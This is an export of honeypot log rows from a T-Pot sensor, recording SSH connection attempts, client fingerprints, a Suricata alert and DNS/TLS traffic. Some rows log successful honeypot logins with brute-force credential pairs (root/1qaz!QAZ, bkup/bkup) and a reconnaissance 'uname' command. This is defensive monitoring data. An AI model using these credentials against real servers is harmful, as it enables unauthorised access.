20376	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:21.373132+03	2021-09-20 14:15:02.29664+03	{"_id": "LQXfAnwBvYTbRNuEAvd5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:21.373132Z", "@timestamp": "2021-09-20T11:02:21.373Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20377	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:03.604153+03	2021-09-20 14:15:02.297643+03	{"_id": "bQXfAnwBvYTbRNuEpvfn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.71.17.12:60804 (192.168.176.2:22) [session: c2e41eb66fda]", "session": "c2e41eb66fda", "@version": "1", "protocol": "ssh", "src_port": 60804, "dest_port": 22, "timestamp": "2021-09-20T11:03:03.604153Z", "@timestamp": "2021-09-20T11:03:03.604Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20378	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:03.606959+03	2021-09-20 14:15:02.298643+03	{"_id": "bwXfAnwBvYTbRNuEpvfn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "c2e41eb66fda", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:03:03.606959Z", "@timestamp": "2021-09-20T11:03:03.606Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20379	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:03.893724+03	2021-09-20 14:15:02.300642+03	{"_id": "cQXfAnwBvYTbRNuEpvfo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:03.893724Z", "@timestamp": "2021-09-20T11:03:03.893Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20380	81.71.17.12	109.199.241.180	Suricata	2021-09-20 14:03:03.893505+03	2021-09-20 14:15:02.301654+03	{"_id": "cgXfAnwBvYTbRNuEqfey", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:03:03.325819+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1701036467681467, "payload": "AAADzAYUVv6wYlvP3pTgLMCJunQAwwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60804, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:03:03.893505Z", "@timestamp": "2021-09-20T11:03:03.893Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......V..b[....,...t.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
20381	81.71.17.12	109.199.241.180	Suricata	2021-09-20 14:03:03.884165+03	2021-09-20 14:15:02.303614+03	{"_id": "dAXfAnwBvYTbRNuEqfez", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "flow_id": 1701036467681467, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60804, "dest_port": 22, "timestamp": "2021-09-20T11:03:03.884165Z", "@timestamp": "2021-09-20T11:03:03.884Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20387	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:05.10111+03	2021-09-20 14:15:02.311613+03	{"_id": "gAXfAnwBvYTbRNuErve6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.login.success", "message": "login attempt [root/1qaz!QAZ] succeeded", "session": "c2e41eb66fda", "@version": "1", "password": "1qaz!QAZ", "username": "root", "timestamp": "2021-09-20T11:03:05.101110Z", "@timestamp": "2021-09-20T11:03:05.101Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
20382	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:03:04.613194+03	2021-09-20 14:15:02.304643+03	{"_id": "dQXfAnwBvYTbRNuEqfe0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 3755, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2462, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 936562353787914, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 33589, "timestamp": "2021-09-20T11:03:04.613194Z", "@timestamp": "2021-09-20T11:03:04.613Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20383	81.71.17.12	109.199.241.180	Fatt	2021-09-20 14:03:03.893505+03	2021-09-20 14:15:02.306613+03	{"_id": "dgXfAnwBvYTbRNuEqvde", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 60804, "dest_port": 22, "timestamp": "2021-09-20T11:03:03.893505", "@timestamp": "2021-09-20T11:03:03.893Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20384	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:03:04.665545+03	2021-09-20 14:15:02.307615+03	{"_id": "dwXfAnwBvYTbRNuEqvde", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34700, "dest_port": 443, "timestamp": "2021-09-20T11:03:04.665545", "@timestamp": "2021-09-20T11:03:04.665Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
20385	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:03:04.707703+03	2021-09-20 14:15:02.308614+03	{"_id": "eAXfAnwBvYTbRNuEqvde", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34700, "timestamp": "2021-09-20T11:03:04.707703", "@timestamp": "2021-09-20T11:03:04.707Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
20386	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:05.665425+03	2021-09-20 14:15:02.310613+03	{"_id": "gQXfAnwBvYTbRNuErve6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.71.17.12:32772 (192.168.176.2:22) [session: 4f1a450cc316]", "session": "4f1a450cc316", "@version": "1", "protocol": "ssh", "src_port": 32772, "dest_port": 22, "timestamp": "2021-09-20T11:03:05.665425Z", "@timestamp": "2021-09-20T11:03:05.665Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20476	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:21.558511+03	2021-09-20 14:15:02.424612+03	{"_id": "RQXgAnwBvYTbRNuE1_nC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.login.success", "message": "login attempt [bkup/bkup] succeeded", "session": "838e205c7ce9", "@version": "1", "password": "bkup", "username": "bkup", "timestamp": "2021-09-20T11:04:21.558511Z", "@timestamp": "2021-09-20T11:04:21.558Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
20388	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:03:03.608261+03	2021-09-20 14:15:02.312613+03	{"_id": "aQXfAnwBvYTbRNuEpvdh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.71.17.12", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60804, "timestamp": "2021-09-20T11:03:03.608261", "@timestamp": "2021-09-20T11:03:03.608Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20389	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:03:04.611338+03	2021-09-20 14:15:02.314614+03	{"_id": "cwXfAnwBvYTbRNuEqfez", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 3755, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 936562353787914, "@version": "1", "in_iface": "enp5s0", "src_port": 33589, "dest_port": 53, "timestamp": "2021-09-20T11:03:04.611338Z", "@timestamp": "2021-09-20T11:03:04.611Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20390	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:05.670998+03	2021-09-20 14:15:02.315613+03	{"_id": "hAXfAnwBvYTbRNuErve6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "4f1a450cc316", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:03:05.670998Z", "@timestamp": "2021-09-20T11:03:05.670Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
